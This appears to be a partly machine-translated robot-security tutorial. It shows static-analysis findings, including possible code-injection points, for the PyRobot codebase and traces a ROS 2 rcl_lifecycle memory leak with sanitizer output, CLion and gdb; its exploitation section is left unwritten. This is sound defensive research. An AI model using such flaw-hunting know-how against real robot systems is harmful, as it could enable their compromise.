[main] INFO profile exclude tests: None
[main] INFO cli include tests: None
[main] INFO cli exclude tests: None
[main] INFO running on Python 3.7.3
...
Code scanned:
Total lines of code: 10516
Total lines skipped (#nosec): 0
Run metrics:
Total issues (by severity):
Undefined: 0.0
Low: 256.0
Medium: 0.0
High: 0.0
Total issues (by confidence):
Undefined: 0.0
Low: 0.0
Medium: 0.0
High: 256.0
Files skipped (0):
Dump lengkap di https://gist.github.com/vmayoral/de2a2792e043b4c40b0380daff8a9760
Kedua hasil pengujian di atas menampilkan dua titik potensial penyuntikan kode dalam kode.
Hasil darirats
...
./examples/grasping/grasp_samplers/grasp_model.py:46: High: system
./examples/crash_detection/locobot_kobuki.py:57: High: system
Argument 1 to this function call should be checked to ensure that it does not
come from an untrusted source without first verifying that it contains nothing
dangerous.
./robots/LoCoBot/locobot_navigation/orb_slam2_ros/src/gen_cfg_file.cc:86: High: system
Argument 1 to this function call should be checked to ensure that it does not
come from an untrusted source without first verifying that it contains nothing
dangerous.
./examples/locobot/manipulation/pushing.py:24: Medium: signal
./examples/locobot/manipulation/realtime_point_cloud.py:21: Medium: signal
./examples/locobot/navigation/vis_3d_map.py:21: Medium: signal
./examples/sawyer/joint_torque_control.py:23: Medium: signal
./examples/sawyer/joint_velocity_control.py:23: Medium: signal
./examples/grasping/locobot.py:314: Medium: signal
./robots/LoCoBot/locobot_calibration/scripts/collect_calibration_data.py:58: Medium: signal
./robots/LoCoBot/locobot_control/nodes/robot_teleop_server.py:17: Medium: signal
When setting signal handlers, do not use the same function to handle multiple signals. There exists the possibility a race condition will result if 2 or more different signals are sent to the process at nearly the same time. Also, when writing signal handlers, it is best to do as little as possible in them. The best strategy is to use the signal handler to set a flag, that another part of the program tests and performs the appropriate action(s) when it is set.
See also: http://razor.bindview.com/publish/papers/signals.txt
./examples/locobot/manipulation/pushing.py:87: Medium: choice
./examples/locobot/manipulation/pushing.py:93: Medium: choice
./examples/locobot/manipulation/pushing.py:96: Medium: choice
./examples/locobot/manipulation/pushing.py:99: Medium: choice
./examples/grasping/grasp_samplers/grasp_model.py:227: Medium: choice
./src/pyrobot/locobot/bicycle_model.py:45: Medium: choice
Standard random number generators should not be used to
generate randomness used for security reasons. For security sensitive randomness a crytographic randomness generator that provides sufficient entropy should be used.
Laporan lengkap di https://gist.github.com/vmayoral/0e7fe9b1eabeaf7d184db3a33864efd9
Hasil darisafety
safety check -r requirements.txt
Warning: unpinned requirement 'numpy' found in requirements.txt, unable to check.
Warning: unpinned requirement 'PyYAML' found in requirements.txt, unable to check.
Warning: unpinned requirement 'scipy' found in requirements.txt, unable to check.
Warning: unpinned requirement 'matplotlib' found in requirements.txt, unable to check.
Warning: unpinned requirement 'Pillow' found in requirements.txt, unable to check.
Warning: unpinned requirement 'pyassimp' found in requirements.txt, unable to check.
╒══════════════════════════════════════════════════════════════════════════════╕
│ │
│ /$$$$$$ /$$ │
│ /$$__ $$ | $$ │
│ /$$$$$$$ /$$$$$$ | $$ \__//$$$$$$ /$$$$$$ /$$ /$$ │
│ /$$_____/ |____ $$| $$$$ /$$__ $$|_ $$_/ | $$ | $$ │
│ | $$$$$$ /$$$$$$$| $$_/ | $$$$$$$$ | $$ | $$ | $$ │
│ \____ $$ /$$__ $$| $$ | $$_____/ | $$ /$$| $$ | $$ │
│ /$$$$$$$/| $$$$$$$| $$ | $$$$$$$ | $$$$/| $$$$$$$ │
│ |_______/ \_______/|__/ \_______/ \___/ \____ $$ │
│ /$$ | $$ │
│ | $$$$$$/ │
│ by pyup.io \______/ │
│ │
╞══════════════════════════════════════════════════════════════════════════════╡
│ REPORT │
│ checked 10 packages, using default DB │
╞══════════════════════════════════════════════════════════════════════════════╡
│ No known security vulnerabilities found. │
╘══════════════════════════════════════════════════════════════════════════════╛
Sumber daya
[1] https://github.com/facebookresearch/pyrobot
[2] https://arxiv.org/pdf/1906.08236.pdf
[3] https://ai.facebook.com/blog/open-sourcing-pyrobot-untuk-mempercepat-penelitian-robotik-ai/
[4] https://github.com/ros-industrial
Tutorial 6: Mencari kerentanan di ROS 2
Tutorial ini bertujuan untuk menilai kelemahan yang ditemukan dalam paket navigation2 dan menentukan apakah kelemahan tersebut dapat berubah menjadi kerentanan.
- [Tutorial 6: Looking for vulnerabilities in ROS 2](#tutorial-6-looking-for-vulnerabilities-in-ros-2)
- [Reconnaissance](#reconnaissance)
- [Testing](#testing)
- [Exploitation](#exploitation)
- [Mitigation or remediation](#mitigation-or-remediation)
- [nav2_util, https://github.com/aliasrobotics/RVD/issues/167](#nav2util-httpsgithubcomaliasroboticsrvdissues167)
- [Exploring CLion IDE](#exploring-clion-ide)
- [Case 1](#case-1)
- [Case 2](#case-2)
- [Case 3](#case-3)
- [Remediation](#remediation)
- [rclcpp: SEGV on unknown address https://github.com/aliasrobotics/RVD/issues/166](#rclcpp-segv-on-unknown-address-httpsgithubcomaliasroboticsrvdissues166)
- [Network Reconnaissance and VulnerabilityExcavation of Secure DDS Systems](#network-reconnaissance-and-vulnerabilityexcavation-of-secure-dds-systems)
- [ROS2-SecTest https://github.com/aws-robotics/ROS2-SecTest](#ros2-sectest-httpsgithubcomaws-roboticsros2-sectest)
- [rclcpp, UBSAN: runtime error publisher_options https://github.com/aliasrobotics/RVD/issues/445](#rclcpp-ubsan-runtime-error-publisheroptions-httpsgithubcomaliasroboticsrvdissues445)
- [Security and Performance Considerations in ROS 2: A Balancing Act](#security-and-performance-considerations-in-ros-2-a-balancing-act)
- [Exception sending message over network https://github.com/ros2/rmw_fastrtps/issues/317](#exception-sending-message-over-network-httpsgithubcomros2rmwfastrtpsissues317)
- [Resources](#resources)
Pengintaian
(dihilangkan)
Pengujian
(dihilangkan, hasil tersedia di https://github.com/aliasrobotics/RVD/issues?q=is%3Aissue+is%3Aopen+label%3A%22robot+component%3A+navigation2%22)
Eksploitasi
YANG HARUS DILAKUKAN
Mitigasi atau remediasi
Mari kita mulai menambal beberapa kekurangan yang ditemukan
nav2_util, https://github.com/aliasrobotics/RVD/issues/167
Untuk mengurangi masalah ini, kami akan menggunakan robocalypsekonfigurasi berikut ( robocalypsercfile):
# robocalypserc file
export ADE_IMAGES="
registry.gitlab.com/aliasrobotics/offensive-team/robocalypsepr/ros2_navigation2/navigation2:build-asan
"
Konfigurasi ini robocalypsehanya menggunakan navigation2:build-asanmodul. Modul ini tidak menyediakan volume dengan konten yang terpasang. Kami menggunakan citra "build" (perantara) sebagai citra dasar untuk mendapatkan akses ke lingkungan pengembangan yang telah dikompilasi sebelumnya .
Penting untuk dicatat bahwa stacktrace tidak menyediakan banyak hal:
#0 0x7f9da732df40 in realloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdef40)
#1 0x7f9da319db1d in rcl_lifecycle_register_transition /home/jenkins-agent/workspace/packaging_linux/ws/src/ros2/rcl/rcl_lifecycle/src/transition_map.c:131
PERHATIKAN kesamaan dengan https://github.com/aliasrobotics/RVD/issues/170
Yang perlu diperhatikan di sini adalah bahwa masalahnya tampaknya ada di rcl_lifecyclenamun kita tidak mendapatkan gambaran yang jelas karena masalah ini dilaporkan dari pengujian yang menggunakan instalasi dari file deb (yang membenarkan tautan ke /home/jenkins …).
Mari kita coba dan reproduksi kebocoran ini:
Pertama, mari kita mulai robocalypse:
$ robocalypse start
...
$ robocalypse enter
victor@robocalypse:~$
Sekarang mari kita debug kelemahan tertentu:
victor@robocalypse:/opt/ros2_navigation2/build-asan/nav2_util/test$ source /opt/ros2_ws/install-asan/setup.bash
victor@robocalypse:/opt/ros2_navigation2/build-asan/nav2_util/test$ ./test_lifecycle_utils
Running main() from /opt/ros2_ws/install-asan/gtest_vendor/src/gtest_vendor/src/gtest_main.cc
[==========] Running 1 test from 1 test case.
[----------] Global test environment set-up.
[----------] 1 test from Lifecycle
[ RUN ] Lifecycle.interface
[ OK ] Lifecycle.interface (667 ms)
[----------] 1 test from Lifecycle (667 ms total)
[----------] Global test environment tear-down
[==========] 1 test from 1 test case ran. (668 ms total)
[ PASSED ] 1 test.
=================================================================
==92==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 96 byte(s) in 1 object(s) allocated from:
#0 0x7fd0d003ef40 in realloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdef40)
#1 0x7fd0cf1074ad in __default_reallocate /opt/ros2_ws/src/ros2/rcutils/src/allocator.c:49
#2 0x7fd0cd8a0c52 in rcl_lifecycle_register_transition /opt/ros2_ws/src/ros2/rcl/rcl_lifecycle/src/transition_map.c:131
#3 0x7fd0cd89c3fd in _register_transitions /opt/ros2_ws/src/ros2/rcl/rcl_lifecycle/src/default_state_machine.c:497
#4 0x7fd0cd89c985 in rcl_lifecycle_init_default_state_machine /opt/ros2_ws/src/ros2/rcl/rcl_lifecycle/src/default_state_machine.c:680
#5 0x7fd0cd89d70f in rcl_lifecycle_state_machine_init /opt/ros2_ws/src/ros2/rcl/rcl_lifecycle/src/rcl_lifecycle.c:210
#6 0x7fd0cfcf9e3a in rclcpp_lifecycle::LifecycleNode::LifecycleNodeInterfaceImpl::init() /opt/ros2_ws/src/ros2/rclcpp/rclcpp_lifecycle/src/lifecycle_node_interface_impl.hpp:100
#7 0x7fd0cfcf2f20 in rclcpp_lifecycle::LifecycleNode::LifecycleNode(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, rclcpp::NodeOptions const&) /opt/ros2_ws/src/ros2/rclcpp/rclcpp_lifecycle/src/lifecycle_node.cpp:105
#8 0x7fd0cfcf1cf2 in rclcpp_lifecycle::LifecycleNode::LifecycleNode(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, rclcpp::NodeOptions const&) /opt/ros2_ws/src/ros2/rclcpp/rclcpp_lifecycle/src/lifecycle_node.cpp:53
#9 0x55a04d116e63 in void __gnu_cxx::new_allocator<rclcpp_lifecycle::LifecycleNode>::construct<rclcpp_lifecycle::LifecycleNode, char const (&) [4]>(rclcpp_lifecycle::LifecycleNode*, char const (&) [4]) (/opt/ros2_navigation2/build-asan/nav2_util/test/test_lifecycle_utils+0x2be63)
#10 0x55a04d116815 in void std::allocator_traits<std::allocator<rclcpp_lifecycle::LifecycleNode> >::construct<rclcpp_lifecycle::LifecycleNode, char const (&) [4]>(std::allocator<rclcpp_lifecycle::LifecycleNode>&, rclcpp_lifecycle::LifecycleNode*, char const (&) [4]) (/opt/ros2_navigation2/build-asan/nav2_util/test/test_lifecycle_utils+0x2b815)
#11 0x55a04d1163ae in std::_Sp_counted_ptr_inplace<rclcpp_lifecycle::LifecycleNode, std::allocator<rclcpp_lifecycle::LifecycleNode>, (__gnu_cxx::_Lock_policy)2>::_Sp_counted_ptr_inplace<char const (&) [4]>(std::allocator<rclcpp_lifecycle::LifecycleNode>, char const (&) [4]) (/opt/ros2_navigation2/build-asan/nav2_util/test/test_lifecycle_utils+0x2b3ae)
#12 0x55a04d115923 in std::__shared_count<(__gnu_cxx::_Lock_policy)2>::__shared_count<rclcpp_lifecycle::LifecycleNode, std::allocator<rclcpp_lifecycle::LifecycleNode>, char const (&) [4]>(std::_Sp_make_shared_tag, rclcpp_lifecycle::LifecycleNode*, std::allocator<rclcpp_lifecycle::LifecycleNode> const&, char const (&) [4]) (/opt/ros2_navigation2/build-asan/nav2_util/test/test_lifecycle_utils+0x2a923)
#13 0x55a04d114dbc in std::__shared_ptr<rclcpp_lifecycle::LifecycleNode, (__gnu_cxx::_Lock_policy)2>::__shared_ptr<std::allocator<rclcpp_lifecycle::LifecycleNode>, char const (&) [4]>(std::_Sp_make_shared_tag, std::allocator<rclcpp_lifecycle::LifecycleNode> const&, char const (&) [4]) (/opt/ros2_navigation2/build-asan/nav2_util/test/test_lifecycle_utils+0x29dbc)
#14 0x55a04d1143a6 in std::shared_ptr<rclcpp_lifecycle::LifecycleNode>::shared_ptr<std::allocator<rclcpp_lifecycle::LifecycleNode>, char const (&) [4]>(std::_Sp_make_shared_tag, std::allocator<rclcpp_lifecycle::LifecycleNode> const&, char const (&) [4]) (/opt/ros2_navigation2/build-asan/nav2_util/test/test_lifecycle_utils+0x293a6)
#15 0x55a04d113569 in std::shared_ptr<rclcpp_lifecycle::LifecycleNode> std::allocate_shared<rclcpp_lifecycle::LifecycleNode, std::allocator<rclcpp_lifecycle::LifecycleNode>, char const (&) [4]>(std::allocator<rclcpp_lifecycle::LifecycleNode> const&, char const (&) [4]) (/opt/ros2_navigation2/build-asan/nav2_util/test/test_lifecycle_utils+0x28569)
#16 0x55a04d1122a6 in std::shared_ptr<rclcpp_lifecycle::LifecycleNode> std::make_shared<rclcpp_lifecycle::LifecycleNode, char const (&) [4]>(char const (&) [4]) (/opt/ros2_navigation2/build-asan/nav2_util/test/test_lifecycle_utils+0x272a6)
#17 0x55a04d11116f in std::shared_ptr<rclcpp_lifecycle::LifecycleNode> rclcpp_lifecycle::LifecycleNode::make_shared<char const (&) [4]>(char const (&) [4]) (/opt/ros2_navigation2/build-asan/nav2_util/test/test_lifecycle_utils+0x2616f)
#18 0x55a04d10ea7d in Lifecycle_interface_Test::TestBody() /opt/ros2_navigation2/src/navigation2/nav2_util/test/test_lifecycle_utils.cpp:51
#19 0x55a04d18d3e9 in void testing::internal::HandleSehExceptionsInMethodIfSupported<testing::Test, void>(testing::Test*, void (testing::Test::*)(), char const*) /opt/ros2_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2447
#20 0x55a04d17f254 in void testing::internal::HandleExceptionsInMethodIfSupported<testing::Test, void>(testing::Test*, void (testing::Test::*)(), char const*) /opt/ros2_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2483
#21 0x55a04d12aabb in testing::Test::Run() /opt/ros2_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2522
#22 0x55a04d12bef0 in testing::TestInfo::Run() /opt/ros2_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2703
#23 0x55a04d12cab5 in testing::TestCase::Run() /opt/ros2_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2825
#24 0x55a04d147d84 in testing::internal::UnitTestImpl::RunAllTests() /opt/ros2_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:5216
#25 0x55a04d18fec5 in bool testing::internal::HandleSehExceptionsInMethodIfSupported<testing::internal::UnitTestImpl, bool>(testing::internal::UnitTestImpl*, bool (testing::internal::UnitTestImpl::*)(), char const*) /opt/ros2_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2447
#26 0x55a04d181533 in bool testing::internal::HandleExceptionsInMethodIfSupported<testing::internal::UnitTestImpl, bool>(testing::internal::UnitTestImpl*, bool (testing::internal::UnitTestImpl::*)(), char const*) /opt/ros2_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2483
#27 0x55a04d144ad3 in testing::UnitTest::Run() /opt/ros2_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:4824
#28 0x55a04d117d68 in RUN_ALL_TESTS() /opt/ros2_ws/install-asan/gtest_vendor/src/gtest_vendor/include/gtest/gtest.h:2370
#29 0x55a04d117cae in main /opt/ros2_ws/install-asan/gtest_vendor/src/gtest_vendor/src/gtest_main.cc:36
Menjelajahi CLion IDE
Sebelum mengambil gdb dan mendalaminya, mari kita lihat apakah menggunakan IDE eksternal membantu dalam prosesnya (secara umum seharusnya demikian) dan meningkatkan produktivitas.
Mencoba modul CLion untuk robocalypsemenggunakan X11 (XQuartz). Berfungsi dengan baik. Mengikuti https://www.jetbrains.com/help/clion/ros-setup-tutorial.html untuk menyiapkan ROS 2 ws. Menggunakan opsi kedua dan membuat simbol untuk sebagian besar hal di ROS 2. Menavigasi kode dengan ini memang jauh lebih mudah.
Berhasil memuat yang sederhana minimal_publisher(Saya pertama-tama memuat seluruh ws, berkas src, dan kemudian “File->New CMake Project from Sources” dan hanya memilih minimal_publisher).
Peluncuran CLion penerbit ROS 2, gagal karena kompilasi ASan
Peluncuran CLion penerbit ROS 2, gagal karena kompilasi ASan
Yang menarik adalah CLion dibangun menggunakan CMake folder barucmake-build-debug
Masalah yang menyebabkan ketergantungan ASan
Masalah yang menyebabkan ketergantungan ASan
Biner tidak akan diluncurkan kecuali kita export LD_PRELOAD=/usr/lib/x86_64-linux-gnu/libasan.so.4. Kemudian:
Setelah membuat pustaka ASan tersedia, ia bekerja dari baris perintah
Setelah membuat pustaka ASan tersedia, ia bekerja dari baris perintah
Namun terus gagal karena sesi terminal yang kami gunakan untuk memuat IDE tidak mengekspor variabel env. LD_PRELOAD. Satu-satunya peluang adalah melakukannya sebelum meluncurkan CLion.
root@robocalypse:/opt/ros2_ws# export LD_PRELOAD=/usr/lib/x86_64-linux-gnu/libasan.so.4
root@robocalypse:/opt/ros2_ws# clion.sh
=================================================================
==8119==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 8 byte(s) in 1 object(s) allocated from:
#0 0x7ff004460b50 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb50)
#1 0x560ebc5560dd in xmalloc (/bin/bash+0x870dd)
SUMMARY: AddressSanitizer: 8 byte(s) leaked in 1 allocation(s).
...
==8197==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 8 byte(s) in 1 object(s) allocated from:
#0 0x7f0ffb943b50 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb50)
#1 0x55a1b3c840dd in xmalloc (/bin/bash+0x870dd)
SUMMARY: AddressSanitizer: 8 byte(s) leaked in 1 allocation(s).
=================================================================
==8199==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 8 byte(s) in 1 object(s) allocated from:
#0 0x7f0ffb943b50 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb50)
#1 0x55a1b3c840dd in xmalloc (/bin/bash+0x870dd)
SUMMARY: AddressSanitizer: 8 byte(s) leaked in 1 allocation(s).
ERROR: Cannot start CLion
No JDK found. Please validate either CLION_JDK, JDK_HOME or JAVA_HOME environment variable points to valid JDK installation.
=================================================================
==8160==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 40 byte(s) in 2 object(s) allocated from:
#0 0x7f0ffb943b50 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb50)
#1 0x55a1b3c840dd in xmalloc (/bin/bash+0x870dd)
Indirect leak of 208 byte(s) in 7 object(s) allocated from:
#0 0x7f0ffb943b50 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb50)
#1 0x55a1b3c840dd in xmalloc (/bin/bash+0x870dd)
SUMMARY: AddressSanitizer: 248 byte(s) leaked in 9 allocation(s).
Perhatikan, tampaknya hal itu memecah dan mengacaukan jalur. Mari kita coba pendekatan yang berbeda:
Konfigurasikan biner untuk menyertakan variabel env.
Konfigurasikan biner untuk menyertakan variabel env.
Dengan cara ini, biner dapat diluncurkan dengan sempurna dan bahkan di-debug:
Mendebug ROS 2 dengan CLion
Mendebug ROS 2 dengan CLion
Sekarang mari kita kembali ke kelemahan kita di nav2_util.
Berhasil mereproduksi masalah dari Terminal CLion:
Mereproduksi kelemahan https://github.com/aliasrobotics/RVD/issues/333
Mereproduksi kelemahan https://github.com/aliasrobotics/RVD/issues/333
Untuk men-debug-nya, harus mengonfigurasi juga variabel env. seperti sebelumnya:
Mengonfigurasi variabel env. untuk cacat studi
Mengonfigurasi variabel env. untuk cacat studi
Sangat mudah untuk mendapatkan hyperlink ke kode saat berjalan, ini akan membantu debugging:
Menjalankan cacat studi
Menjalankan cacat studi
Kemampuan yang cukup luar biasa, dengan GDB terintegrasi di dalamnya:
Tata letak dengan CLion yang menunjukkan kode, variabel, GDB, tumpukan yang dapat dinavigasi, dan banyak lagi
Tata letak dengan CLion yang menunjukkan kode, variabel, GDB, tumpukan yang dapat dinavigasi, dan banyak lagi
One down side is that I’m not able to bring the memory view https://www.jetbrains.com/help/clion/memory-view.html. EDIT: I actually was able to do it https://stackoverflow.com/questions/34801691/clion-memory-view.
The only thing pending is the registers which can be visualized in the GDB window.
Enough of testing, let’s get back to the code analysis.
Going back to the stack trade, the following seems relevant. Let’s study the leak in more detail:
rcl_ret_t
rcl_lifecycle_register_transition(
rcl_lifecycle_transition_map_t * transition_map,
rcl_lifecycle_transition_t transition,
const rcutils_allocator_t * allocator)
{
RCUTILS_CHECK_ALLOCATOR_WITH_MSG(
allocator, "invalid allocator", return RCL_RET_ERROR)
rcl_lifecycle_state_t * state = rcl_lifecycle_get_state(transition_map, transition.start->id);
if (!state) {
RCL_SET_ERROR_MSG_WITH_FORMAT_STRING("state %u is not registered\n", transition.start->id);
return RCL_RET_ERROR;
}
// we add a new transition, so increase the size
transition_map->transitions_size += 1;
rcl_lifecycle_transition_t * new_transitions = allocator->reallocate(
transition_map->transitions,
transition_map->transitions_size * sizeof(rcl_lifecycle_transition_t),
allocator->state);
if (!new_transitions) {
RCL_SET_ERROR_MSG("failed to reallocate memory for new transitions");
return RCL_RET_BAD_ALLOC;
}
transition_map->transitions = new_transitions;
// finally set the new transition to the end of the array
transition_map->transitions[transition_map->transitions_size - 1] = transition;
// we have to copy the transitons here once more to the actual state
// as we can't assign only the pointer. This pointer gets invalidated whenever
// we add a new transition and re-shuffle/re-allocate new memory for it.
state->valid_transition_size += 1;
//////////////////
// Issue seems to be here
//////////////////
rcl_lifecycle_transition_t * new_valid_transitions = allocator->reallocate(
state->valid_transitions,
state->valid_transition_size * sizeof(rcl_lifecycle_transition_t),
allocator->state);
//////////////////
if (!new_valid_transitions) {
RCL_SET_ERROR_MSG("failed to reallocate memory for new transitions on state");
return RCL_RET_ERROR;
}
state->valid_transitions = new_valid_transitions;
state->valid_transitions[state->valid_transition_size - 1] = transition;
return RCL_RET_OK;
}
Further looking into the dump, it seems the issue is happening over differen parts of the code but always on the rcl_lifecycle_register_transition function and always at `/opt/ros2_ws/src/ros2/rcl/rcl_lifecycle/src/transition_map.c:131 leaking 96 bytes which is equal to 3 pointers of 32 bytes.
Diving a bit more into the issue, it actually seems that it happens only in specific transitions and again, only in the second element of the transition (which probably corresponds to line 131 as pointed out above). The places where it happens are characterized by the following:
// register transition from configuring to errorprocessing
// register transition from cleaniningup to errorprocessing
// register transition from activating to errorprocessing
// register transition from deactivating to errorprocessing
// register transition from unconfigured to shuttingdown
// register transition from inactive to shuttingdown
// register transition from active to shuttingdown
// register transition from shutting down to errorprocessing
// register transition from errorprocessing to finalized
It does not happen in places such as:
// register transition from unconfigured to configuring
// register transition from configuring to inactive
// register transition from configuring to unconfigured
// register transition from inactive to cleaningup
// register transition from cleaningup to unconfigured
// register transition from cleaningup to inactive
// register transition from inactive to activating
...
and others with a somewhat non-final second state.
It seems reasonable to consider that only in those transition with an state that leads to an end there is a leak. Let further understand the code to try and figure out what’s leaking.
EDIT: Previous assumption might not be true. States such as // register transition from shutting down to finalized do not leak.
Interesting to note the following two pieces of code:
// register transition from errorprocessing to finalized
{
rcl_lifecycle_transition_t rcl_transition_on_error_failure = {
rcl_lifecycle_transition_failure_label,
lifecycle_msgs__msg__Transition__TRANSITION_ON_ERROR_FAILURE,
errorprocessing_state, finalized_state
};
ret = rcl_lifecycle_register_transition(
transition_map,
rcl_transition_on_error_failure,
allocator);
if (ret != RCL_RET_OK) {
return ret;
}
}
// register transition from errorprocessing to finalized
{
rcl_lifecycle_transition_t rcl_transition_on_error_error = {
rcl_lifecycle_transition_error_label,
lifecycle_msgs__msg__Transition__TRANSITION_ON_ERROR_ERROR,
errorprocessing_state, finalized_state
};
ret = rcl_lifecycle_register_transition(
transition_map,
rcl_transition_on_error_error,
allocator);
if (ret != RCL_RET_OK) {
return ret;
}
}
The first piece does not leak while the second one does leak. The differences: - First one using rcl_lifecycle_transition_failure_label and lifecycle_msgs__msg__Transition__TRANSITION_ON_ERROR_FAILURE - (leaky) Second one using rcl_lifecycle_transition_error_label and lifecycle_msgs__msg__Transition__TRANSITION_ON_ERROR_ERROR
This does not lead to a lot. Let’s analyze and see if there’re more cases such as the one above. Found other two cases worth studying. In total, have three cases that are worth looking deeply into them:
Case 1
Leak in the last case
// register transition from errorprocessing to finalized
{
rcl_lifecycle_transition_t rcl_transition_on_error_failure = {
rcl_lifecycle_transition_failure_label,
lifecycle_msgs__msg__Transition__TRANSITION_ON_ERROR_FAILURE,
errorprocessing_state, finalized_state
};
ret = rcl_lifecycle_register_transition(
transition_map,
rcl_transition_on_error_failure,
allocator);
if (ret != RCL_RET_OK) {
return ret;
}
}
// register transition from errorprocessing to finalized
{
rcl_lifecycle_transition_t rcl_transition_on_error_error = {
rcl_lifecycle_transition_error_label,
lifecycle_msgs__msg__Transition__TRANSITION_ON_ERROR_ERROR,
errorprocessing_state, finalized_state
};
ret = rcl_lifecycle_register_transition(
transition_map,
rcl_transition_on_error_error,
allocator);
if (ret != RCL_RET_OK) {
return ret;
}
}
Case 2
Leak in the last case
// register transition from cleaningup to inactive
{
rcl_lifecycle_transition_t rcl_transition_on_cleanup_failure = {
rcl_lifecycle_transition_failure_label,
lifecycle_msgs__msg__Transition__TRANSITION_ON_CLEANUP_FAILURE,
cleaningup_state, inactive_state
};
ret = rcl_lifecycle_register_transition(
transition_map,
rcl_transition_on_cleanup_failure,
allocator);
if (ret != RCL_RET_OK) {
return ret;
}
}
// register transition from cleaniningup to errorprocessing
{
rcl_lifecycle_transition_t rcl_transition_on_cleanup_error = {
rcl_lifecycle_transition_error_label,
lifecycle_msgs__msg__Transition__TRANSITION_ON_CLEANUP_ERROR,
cleaningup_state, errorprocessing_state
};
ret = rcl_lifecycle_register_transition(
transition_map,
rcl_transition_on_cleanup_error,
allocator);
if (ret != RCL_RET_OK) {
return ret;
}
}
Case 3
Leak in the last case
// register transition from activating to active
{
rcl_lifecycle_transition_t rcl_transition_on_activate_success = {
rcl_lifecycle_transition_success_label,
lifecycle_msgs__msg__Transition__TRANSITION_ON_ACTIVATE_SUCCESS,
activating_state, active_state
};
ret = rcl_lifecycle_register_transition(
transition_map,
rcl_transition_on_activate_success,
allocator);
if (ret != RCL_RET_OK) {
return ret;
}
}
// register transition from activating to inactive
{
rcl_lifecycle_transition_t rcl_transition_on_activate_failure = {
rcl_lifecycle_transition_failure_label,
lifecycle_msgs__msg__Transition__TRANSITION_ON_ACTIVATE_FAILURE,
activating_state, inactive_state
};
ret = rcl_lifecycle_register_transition(
transition_map,
rcl_transition_on_activate_failure,
allocator);
if (ret != RCL_RET_OK) {
return ret;
}
}
// register transition from activating to errorprocessing
{
rcl_lifecycle_transition_t rcl_transition_on_activate_error = {
rcl_lifecycle_transition_error_label,
lifecycle_msgs__msg__Transition__TRANSITION_ON_ACTIVATE_ERROR,
activating_state, errorprocessing_state
};
ret = rcl_lifecycle_register_transition(
transition_map,
rcl_transition_on_activate_error,
allocator);
if (ret != RCL_RET_OK) {
return ret;
}
}
(Note: dumping a .gdbinit in the home dir makes CLion fetch it but it seems to have some problems with wget -P ~ git.io/.gdbinit so skipping it for now and doing it manually)
Sesi debugging, state->valid_transitions memiliki nilai sebelumnya saat terjadi kebocoran
Debugging session, state->valid_transitions has a previous value when leaks
After debugging for a while, it appears that whenever there’s a leak in 131 is because state->valid_transitions has a value before. Note that state->valid_transition_size is 3 (which matches the 32*3 = 96 bytes leaked) in those cases.
I checked similar calls and also presents situation where it has a value thereby I’m discarding the leak due to the realloc call.
Similarly, I validated that there’re also leaks when state->valid_transition_size is 2 which leads to a 64 byte leak.
Let’s dive into the memory and try to figure out when new_valid_transitions (asigned later to state->valid_transition) is released and when isn’t. Let’s start in the case of no leak:
transition_map presents a memory layout as follows:
tata letak memori transition_map, panggilan non-bocor
memory layout of transition_map, non-leaky call
Perhatikan bahwa transition_mapmemiliki elemen states transition_map->statesdan yang ini dimulai pada 0x613000001700. Karena ada 11 status di peta (lihat transitions_sizevariabel), status transition_map berubah dari 0x613000001700til
(gdb) p/x 0x613000001700 + 11*64
$6 = 0x6130000019c0
Untuk keperluan analisis ini, yang relevan di sini adalah alamatnya statedan 0x613000001840kontennya yang disorot dengan warna hijau di bawah ini:
konten dalam memori variabel status
konten dalam memori variabel status
Sekarang, pada baris 115, terjadi panggilan ke allocator->reallocateyang akan menambah memori transition_map->transitionssebesar 32 byte (sizeof(rcl_lifecycle_transition_t)). Sebelum realokasi, memori terlihat seperti berikut:
(gdb) p transition_map->transitions
$15 = (rcl_lifecycle_transition_t *) 0x617000004680
(gdb) p transition_map->transitions_size
$16 = 24
(gdb) p sizeof(rcl_lifecycle_transition_t)
$17 = 32
(gdb) p sizeof(rcl_lifecycle_transition_t)*23 # 23, 24 - 1 because it has already iterated
$18 = 736
(gdb) x/736b 0x617000004680
0x617000004680: 0x40 0x16 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x617000004688: 0x01 0x00 0x00 0x00 0xe0 0x60 0x00 0x00
0x617000004690: 0x20 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004698: 0xa0 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x6170000046a0: 0x80 0x17 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x6170000046a8: 0x0a 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x6170000046b0: 0xa0 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x6170000046b8: 0x40 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x6170000046c0: 0xc0 0x17 0x09 0x2b 0xe4 0x7f 0x00 0x00
0x6170000046c8: 0x0b 0x00 0x00 0x00 0xff 0x0f 0x00 0x00
0x6170000046d0: 0xa0 0x17 0x00 0x00 0x30 0x61 0x00 0x00
